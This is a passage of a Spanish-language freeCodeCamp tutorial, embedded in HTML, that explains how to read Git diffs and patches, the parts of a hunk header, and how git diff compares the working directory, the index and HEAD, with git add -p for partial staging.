font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">file.txt</code> consists of six lines</figcaption></figure><p>Ahora, modifica este archivo un poco. Quita la segunda línea, e inserta una nueva línea como la línea cuatro. Agrega un signo de admiración (<code>!</code>) al final de la última línea, así obtienes este resultado:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_file_txt_1.png" class="kg-image" alt="After modifying , we get different six lines" width="600" height="400" loading="lazy"><figcaption>After modifying <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">file.txt</code>, we get different six lines</figcaption></figure><p>Guarda este archivo con un nuevo nombre, <code>new_line.txt</code>.</p><p>Ahora puedes ejecutar <code>git diff</code> para calcular la diferencia entre los archivos así:</p><pre><code class="language-bash">git diff --no-index file.txt new_file.txt
</code></pre><p>(Explicaré el argumento <code>--no-index</code> de este comando más tarde. Por ahora es suficiente saberlo para que nos permita comparar dos archivos que no son partes de un repositorio de Git.)</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_1.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff --no-index file.txt new_file.txt</code></figcaption></figure><p>La salida de <code>git diff</code> muestra bastante cosas.</p><p>Enfócate en la parte empezando con <code>This is a file</code>. Puedes ver que la línea agregada (<code>// new test</code>) es precedida por un signo <code>+</code>. La línea eliminada es precedida por un símbolo <code>-</code>.</p><p>Curiosamente, fíjate que Git ve a la línea modificada como una secuencia de dos cambios - borrar una línea y agregar una nueva. Así que el parche incluye eliminar la última línea, y agregar una nueva línea que es igual a esa línea, con la suma de un <code>!</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_format_lines.png" class="kg-image" alt="Addition lines are preceded by , deletion lines by , and modification lines are sequences of deletions and additions" width="600" height="400" loading="lazy"><figcaption>Addition lines are preceded by <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">+</code>, deletion lines by <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">-</code>, and modification lines are sequences of deletions and additions</figcaption></figure><p>Ahora sería bueno discutir los términos "patch" y "diff". Estos dos son usados con frecuencia indistintamente, aunque hay una distinción, al menos históricamente.</p><p>Un <strong>diff</strong> muestra las diferencias entre dos archivos, o copias instantáneas, y puede ser bastante mínimo en hacerlo así. Un <strong>patch (parche)</strong> es una extensión de un diff, aumentado con más información tales como líneas de contexto y nombre de archivos, el cual le permite ser <em>aplicado</em> más ampliamente. Es un documento de texto que describe cómo alterar un archivo existente o base de código.</p><p>En estos días, el programa <code>diff</code> de Unix, y <code>git diff</code>, pueden producir parches de varios tipos.</p><p>Un parche es una representación compacta de las diferencias entre dos archivos. Describe cómo convertir un archivo en otro.</p><p>En otras palabras, si aplicas las "instrucciones" producidas por <code>git diff</code> en <code>file.txt</code> - eso es, quitar la segunda línea, insertar <code>// new test</code> como la cuarta línea, quitar la última línea, y agregar una línea con el mismo contenido y <code>!</code> - tendrás el contenido de <code>new_file.txt</code>.</p><p>Otra cosa importante a notar es que un parche es <strong>asimétrico</strong>: el parche de <code>file.txt</code> a <code>new_file.txt</code> no es el mismo que el parche para la otra dirección. Generar un parche entre <code>new_file.txt</code> y <code>file.txt</code>, en este orden, significaría exactamente las instrucciones opuestas que antes - agregar la segunda línea en vez de quitarla, y así sucesivamente.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/patch_asymmetric.png" class="kg-image" alt="A patch consists of asymmetric instructions to get from one file to another" width="600" height="400" loading="lazy"><figcaption>A patch consists of asymmetric instructions to get from one file to another</figcaption></figure><p>Inténtalo:</p><pre><code class="language-bash">git diff --no-index new_file.txt file.txt
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_2.png" class="kg-image" alt="Running git diff in the reverse direction yields the reverse instructions - add a line instead of removing it, and so on" width="600" height="400" loading="lazy"><figcaption>Running git diff in the reverse direction yields the reverse instructions - add a line instead of removing it, and so on</figcaption></figure><p>El formato del parche usa contexto, así también como números de líneas, para localizar diferentes regiones de archivos. Esto permite a un parche ser aplicado a alguna versión más antigua o más reciente de la primera línea a aquel del que se derivó, siempre y cuando el programa que se aplica aún pueda localizar el contexto del cambio. Veremos cómo son usados exactamente.</p><h3 id="la-estructura-de-un-diff">La Estructura de un Diff</h3><p>Es tiempo de indagar más profundamente.</p><p>Genera un diff de <code>file.txt</code> a <code>new_file.txt</code> nuevamente, y considera la salida más cuidadosamente:</p><pre><code class="language-bash">git diff --no-index file.txt new_file.txt
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_1-1.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff --no-index file.txt new_file.txt</code></figcaption></figure><p>La primer línea introduce los archivos comparados. Git siempre le da a un archivo el nombre de <code>a</code>, y al otro el nombre de <code>b</code>. Así que en este caso <code>file.txt</code> se llama <code>a</code>, donde <code>new_file.txt</code> se llama <code>b</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_structure_1.png" class="kg-image" alt="The first line in 's output introduces the files being compared" width="600" height="400" loading="lazy"><figcaption>The first line in <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">diff</code>'s output introduces the files being compared</figcaption></figure><p>Luego la segunda línea, comenzando con <code>index</code>, incluye los SHAs del blob de estos archivos. Así que aunque en nuestro caso inclusive no se guardan dentro de un repo de Git, Git muestra sus valores SHA-1 correspondientes.</p><p>El tercer valor en esta línea, <code>100644</code>, es el "modo bits", indicando que esto es un archivo "regular": no ejecutable y no es un enlace simbólico.</p><p>El uso de dos puntos (<code>..</code>) aquí entre los SHAs del blob es sólo como un separador (a diferencia de otros casos donde se usa dentro de Git).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_structure_2.png" class="kg-image" alt="The second line in 's output includes the blob SHAs of the compared files, as well as the mode bits" width="600" height="400" loading="lazy"><figcaption>The second line in <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">diff</code>'s output includes the blob SHAs of the compared files, as well as the mode bits</figcaption></figure><p>Otras líneas de encabezado pueden indicar el modo bits antiguo y nuevo si han cambiado, nombres de archivos antiguos y nuevos si los archivos fueron renombrados, y así sucesivamente.</p><p>Los SHAs del blob (también llamados "blob IDs") son útiles si este parche luego se aplica por Git al mismo proyecto y hay conflictos al aplicarse. Entenderás mejor qué significa esto cuando aprendas sobre las fusiones en <a href="#cap-7">el próximo capítulo</a>.</p><p>Luego de los IDs del blob, tenemos dos líneas: una comenzando con signos <code>-</code>, y los otros comenzando con signos <code>+</code>. Este es el encabezado "diff unificado" tradicional, de nuevo mostrando los archivos siendo comparados y la dirección de los cambios: signos <code>-</code> muestra líneas en la versión A que faltan de la versión B, y signos <code>-</code> muestra líneas que faltan en la versión A pero que están presentes en el B.</p><p>Si el parche de este archivo estuviera siendo agregado o eliminado en su totalidad, entonces uno de estos serían <code>/dev/null</code> para señalar eso.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_structure_3.png" class="kg-image" alt=" signs show lines in the A version but missing from the B version; and  signs, lines missing in A version but present in B" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">-</code> signs show lines in the A version but missing from the B version, and <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">+</code> signs, lines missing in A version but present in B</figcaption></figure><p>Considera el caso donde eliminas un archivo:</p><pre><code class="language-bash">rm awesome.txt
</code></pre><p>Y luego usa <code>git diff</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/rm_diff.png" class="kg-image" alt="'s output for a deleted file" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code>'s output for a deleted file</figcaption></figure><p>La versión <code>A</code>, representando el estado del índice, es actualmente <code>awesome.txt</code>, comparado al directorio de trabajo donde este archivo no existe, así que es <code>/dev/null</code>. Todas las líneas son precedidas por signos <code>-</code> ya que existen solamente en la versión <code>A</code>.</p><p>Por ahora, deshace la eliminación (más sobre deshaciendo cambios en la Parte 3):</p><pre><code class="language-bash">git restore awesome.txt
</code></pre><p>Volviendo al diff con el que comenzamos:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_1-2.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff --no-index file.txt new_file.txt</code></figcaption></figure><p>Después de este encabezado diff unificado, llegamos a la parte principal del diff, consistiendo de "secciones de diferencia", también llamados "hunks" o "chunks" en Git. Fíjate que estos términos son usados indistintamente, y podrías encontrarte con uno de ellos en la documentación y tutoriales de Git, así también como código fuente de Git.</p><p>Cada hunk comienza con una sola línea, comenzando con dos signos <code>@</code>. Estos signos son seguidos en la mayoría de veces por cuatro números, y luego un encabezado para el chunk - el cual es una suposición educada por Git. Usualmente, incluirá el comienzo de una función o una clase, cuando fuese posible.</p><p>En este ejemplo no incluye nada ya que este es un archivo de texto, así que considera otro ejemplo por un momento:</p><pre><code class="language-bash">git diff --no-index example.py example_changed.py
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_example_changed.png" class="kg-image" alt="When possible, Git includes a header for each hunk, for example a function or class definition" width="600" height="400" loading="lazy"><figcaption>When possible, Git includes a header for each hunk, for example a function or class definition</figcaption></figure><p>En la imagen de arriba, el encabezado del hunk incluye el comienzo de la función que incluye las líneas cambiados - <code>def example_function(x)</code>.</p><p>De vuelta a nuestro ejemplo previo:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_1-3.png" class="kg-image" alt="Back to the previous diff" width="600" height="400" loading="lazy"><figcaption>Back to the previous diff</figcaption></figure><p>Después de dos signos <code>@</code>, encontrarás cuatro números:</p><p>Los primeros números son precedidos por un signo <code>-</code> ya que se refieren a <code>file A</code>. El primer número representa el número de línea correspondiente a la primer línea en <code>file A</code> a la que este hunk se refiere. En el ejemplo de arriba, es <code>1</code>, lo que significa que la línea <code>This is a file</code> corresponde al número de línea <code>1</code> en la versión de <code>file A</code>.</p><p>Este número es seguido por una coma (<code>,</code>), y luego el número de líneas del que este chunk consiste en el <code>file A</code>. Este número incluye todas las líneas de contexto (las líneas precedidas con un espacio en el <code>diff</code>), o líneas marcadas con un signo <code>-</code>, ya que son parte de <code>file A</code>, pero no las líneas marcadas con un signo <code>+</code>, ya que no existen en <code>file A</code>.</p><p>En nuestro ejemplo, este número es <code>6</code>, contando la línea de contexto <code>This is a file</code>, la línea <code>-</code> es <code>It has a nice poem:</code>, luego las tres líneas de contexto, y por último <code>Are belong to you</code>.</p><p>Como puedes ver, las líneas que comienzan con un caracter de espacio son líneas de contexto, lo que significa que aparecen como se muestran en ambos <code>file A</code> y <code>file B</code>.</p><p>Luego, tenemos un signo <code>+</code> para marcar a los dos números que se refieren a <code>file B</code>. Primero, está el número de línea correspondiente a la primer línea en <code>file B</code>, seguido del número de líneas del que este chunk consiste en <code>file B</code>.</p><p>Este número incluye todas las líneas de contexto, así también como las líneas marcadas con el signo <code>+</code>, ya que son parte de <code>file B</code>, pero no las líneas marcadas con un signo <code>-</code>.</p><p>Estos cuatros números son seguidos por dos signos <code>@</code> adicionales.</p><p>Después del encabezado del chunk, obtenemos las líneas actuales - sean las líneas de contexto, <code>-</code> o <code>+</code>.</p><p>Típicamente y por defecto, un hunk comienza y termina con tres líneas de contexto. Por ejemplo, si modificas las líneas 4-5 en un archivo con diez líneas:</p><ul><li>Línea 1 - línea de contexto (antes de las líneas cambiadas)</li><li>Línea 2 - línea de contexto (antes de las líneas cambiadas)</li><li>Línea 3 - línea de contexto (antes de las líneas cambiadas)</li><li>Línea 4 - línea cambiada (antes de las líneas cambiadas)</li><li>Línea 5 - otra línea cambiada</li><li>Línea 6 - línea de contexto (después de las líneas cambiadas)</li><li>Línea 7 - línea de contexto (después de las líneas cambiadas)</li><li>Línea 8 - línea de contexto (después de las líneas cambiadas)</li><li>Línea 9 - esta línea no será parte del hunk</li></ul><p>Así que por defecto, cambiar las líneas 4-5 resulta en un hunk consistiendo de las líneas 1-8, eso es, tres líneas antes y tres líneas después de las líneas modificadas.</p><p>Si ese archivo no tiene nueve líneas, sino seis líneas - entonces el hunk contendrá solamente una línea de contexto después de las líneas cambiadas, y no tres. De forma similar, si cambias la segunda línea de un archivo, entonces habría solamente una línea de contexto antes de las líneas cambiadas.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_structure_4.png" class="kg-image" alt="The patch format by " width="600" height="400" loading="lazy"><figcaption>The patch format by <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code></figcaption></figure><h3 id="c-mo-producir-diffs">Cómo producir diffs</h3><p>El último ejemplo que consideramos muestra un diff entre dos archivos. Un solo archivo parche puede contener las diferencias para <em>cualquier</em> número de archivos, y <code>git diff</code> produce diffs para todos los archivos alterados en el repositorio en un solo parche.</p><p>Frecuentemente, verás la salida de <code>git diff</code> mostrando dos versiones del mismo archivo y la diferencia entre ellos.</p><p>Para demostrar, considera el estado en otra rama llamada <code>diffs</code>:</p><pre><code class="language-bash">git checkout diffs
</code></pre><p>De nuevo, te animo a ejecutar los comandos conmigo - asegúrate de clonar el repositorio de</p><p><a href="https://github.com/Omerr/gitting_things_repo.git">https://github.com/Omerr/gitting_things_repo.git</a></p><p>En el estado actual, el directorio activo es un repositorio de Git, con una estado limpio:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_branch_diffs.png" class="kg-image" alt="git_status_branch_diffs" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code></figcaption></figure><p>Toma un archivo existente, <code>my_file.py</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/nano_my_file.png" class="kg-image" alt="An example file - " width="600" height="400" loading="lazy"><figcaption>An example file - <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">my_file.py</code></figcaption></figure><p>Y cambia la segunda línea de <code>print('An example function!')</code> a <code>print('An example function! And it has been changed!')</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/nano_my_file_after_change.png" class="kg-image" alt="The contents of  after modifying the second line" width="600" height="400" loading="lazy"><figcaption>The contents of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">my_file.py</code> after modifying the second line</figcaption></figure><p>Guarda tus cambios, pero no lo pongas en el área de preparación o no lo confirmes. Luego, ejecuta <code>git diff</code>:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diff_my_file.png" class="kg-image" alt="The output of  for  after changing it" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code> for <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">my_file.py</code> after changing it</figcaption></figure><p>La salida de <code>git diff</code> muestra la diferencia entre las versiones de <code>my_file.py</code> en el área de preparación, el cual en este caso es el mismo que la última confirmación (<code>HEAD</code>), y la versión en el directorio de trabajo.</p><p>Cubrí los términos "directorio de trabajo", "área de preparación", y "confirmación" en el <a href="#cap-1">capítulo de objetos de Git</a>, así que échale un vistazo en caso que te gustaría refrescar tu memoria. Como un recordatorio, los términos "área de preparación" e "índice" son intercambiables, y ambos son ampliamente usados.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/repo_state_commit_2_staging_area.png" class="kg-image" alt="At this state, the status of the working dir is different from the status of the index. The status of the index is the same as that of " width="600" height="400" loading="lazy"><figcaption>At this state, the status of the working dir is different from the status of the index. The status of the index is the same as that of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code></figcaption></figure><p>Para ver la diferencia entre el <strong>directorio de trabajo</strong> y el <strong>área de preparación</strong>, usa <code>git diff</code>, sin ningún argumento adicional.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/repo_state_commit_2_git_diff-1.png" class="kg-image" alt="Without switches,  shows the difference between the staging area and the working directory" width="600" height="400" loading="lazy"><figcaption>Without switches, <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code> shows the difference between the staging area and the working directory</figcaption></figure><p>Como puedes ver, <code>git diff</code> aquí lista <code>file A</code> y <code>file B</code> apuntando a <code>my_file.py</code>. <code>file A</code> aquí se refiere a la versión de <code>my_file.py</code> en el área de preparación, donde <code>file B</code> se refiere a su versión en el directorio de trabajo.</p><p>Fíjate que si modificas <code>my_file.py</code> en un editor de texto, y no guardas el archivo, entonces <code>git diff</code> no estará al tanto de los cambios que has hecho. Esto se debe a que no han sido guardados en el directorio de trabajo.</p><p>Podemos proveer unos pocos cambios a <code>git diff</code> para obtener el diff entre el directorio de trabajo y una confirmación específica, o entre el área de preparación y la última confirmación, o entre dos confirmaciones, y así sucesivamente.</p><p>Primero crea un nuevo archivo, <code>new_file.txt</code>, y guárdalo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/nano_new_file.png" class="kg-image" alt="A simple new file saved as new_file.txt" width="600" height="400" loading="lazy"><figcaption>A simple new file saved as <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_file.txt</code></figcaption></figure><p>Actualmente el archivo está en el directorio de trabajo, y actualmente está sin seguimiento en Git.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_file_working_dir.png" class="kg-image" alt="A new, untracked file" width="600" height="400" loading="lazy"><figcaption>A new, untracked file</figcaption></figure><p>Ahora pónlo en el área de preparación y confirma este archivo:</p><pre><code class="language-bash">git add new_file.txt
git commit -m "Commit 3"
</code></pre><p>Ahora, el estado de <code>HEAD</code> es el mismo que el estado del área de preparación, así también como el árbol de trabajo:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/repo_state_commit_3.png" class="kg-image" alt="The state of HEAD is the same as the index and the working dir" width="600" height="400" loading="lazy"><figcaption>The state of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code> is the same as the index and the working dir</figcaption></figure><p>Luego, edita <code>new_file.txt</code> agregando una nueva línea al principio y otra nueva línea al final:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/new_file_edited.png" class="kg-image" alt="Modifying  by adding a line in the beginning and another in the end" width="600" height="400" loading="lazy"><figcaption>Modifying <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">new_file.txt</code> by adding a line in the beginning and another in the end</figcaption></figure><p>Como resultado, el estado es como sigue:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/repo_state_start_end.png" class="kg-image" alt="After saving, the state in the working dir is different than that of the index or " width="600" height="400" loading="lazy"><figcaption>After saving, the state in the working dir is different than that of the index or <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">HEAD</code></figcaption></figure><p>Un lindo truco sería usar <code>git add -p</code>, el cual te permite dividir los cambios inclusive dentro de un archivo, y considerar cuáles te gustaría ponerlos en el área de preparación.</p><p>En este caso, agrega la primera línea al índice, pero no la última línea. Para hacer eso, puedes dividir el hunk usando <code>s</code>, luego acepta el primer hunk al área de preparación (usando <code>y</code>), y no la segunda parte (usando <code>n</code>).</p><p>Si no estás seguro qué significa cada letra, siempre puedes usar un <code>?</code> y Git te dirá.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/add_p.png" class="kg-image" alt="Using , you can stage only the first change" width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git add -p</code>, you can stage only the first change</figcaption></figure><p>Así que ahora el estado en <code>HEAD</code> están sin ninguna de esas nuevas líneas. En el área de preparación tienes la primer línea pero no la última línea, y en el directorio de trabajo tienes las dos nuevas líneas.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/repo_state_after_add_p.png" class="kg-image" alt="The state after staging only the first line" width="600" height="400" loading="lazy"><figcaption>The state after staging only the first line</figcaption></figure><p>Si usas <code>git diff</code>, ¿qué sucederá?</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_3.png" class="kg-image" alt=" shows the difference between the index and the working dir" width="600" height="400" loading="lazy"><figcaption><code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code> shows the difference between the index and the working dir</figcaption></figure><p>Bueno, como se dijo antes, obtienes el 